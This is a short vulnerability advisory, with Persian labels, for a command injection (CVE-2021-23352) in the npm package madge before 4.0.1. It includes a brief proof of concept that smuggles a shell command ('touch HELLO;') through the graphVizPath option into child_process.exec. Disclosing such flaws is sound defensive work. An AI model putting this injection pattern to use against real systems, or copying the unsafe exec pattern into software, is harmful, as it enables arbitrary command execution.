همهٔ گزارش‌ها
زیاد

Madge vulnerable to command injection

متن اصلی

نسخه‌های متأثر

نسخه‌های متأثر
< 4.0.1
نسخهٔ اصلاح‌شده
4.0.1

بهره‌برداری

CVE-2021-23352

احتمال بهره‌برداری در ۳۰ روز آینده: 2.06%

FIRST EPSS · ۱۴۰۵/۰۸/۲۷

شرح آسیب‌پذیری

This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.

PoC
const madge = require('madge'); 
madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); });

پیوندها